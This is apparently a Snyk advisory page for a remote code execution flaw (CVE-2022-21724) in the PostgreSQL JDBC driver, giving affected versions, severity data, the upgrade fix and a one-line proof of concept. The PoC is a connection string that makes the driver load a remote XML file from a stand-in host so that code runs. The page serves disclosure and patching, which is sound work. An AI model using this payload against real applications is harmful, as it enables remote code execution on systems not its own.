Remote Code Execution (RCE) Affecting org.postgresql:postgresql package, versions [9.4.1208,42.2.25)[42.3.0,42.3.2)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
2.13% (90th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JAVA-ORGPOSTGRESQL-2390459
  • published2 Feb 2022
  • disclosed2 Feb 2022
  • creditUnknown

Introduced: 2 Feb 2022

CVE-2022-21724  (opens in a new tab)
CWE-74  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade org.postgresql:postgresql to version 42.2.25, 42.3.2 or higher.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when using certain plugin features. pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, and sslpasswordcallback connection properties.

However, the driver did not verify if the class implements the expected interface before instantiating the class.

PoC

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

CVSS Scores

version 3.1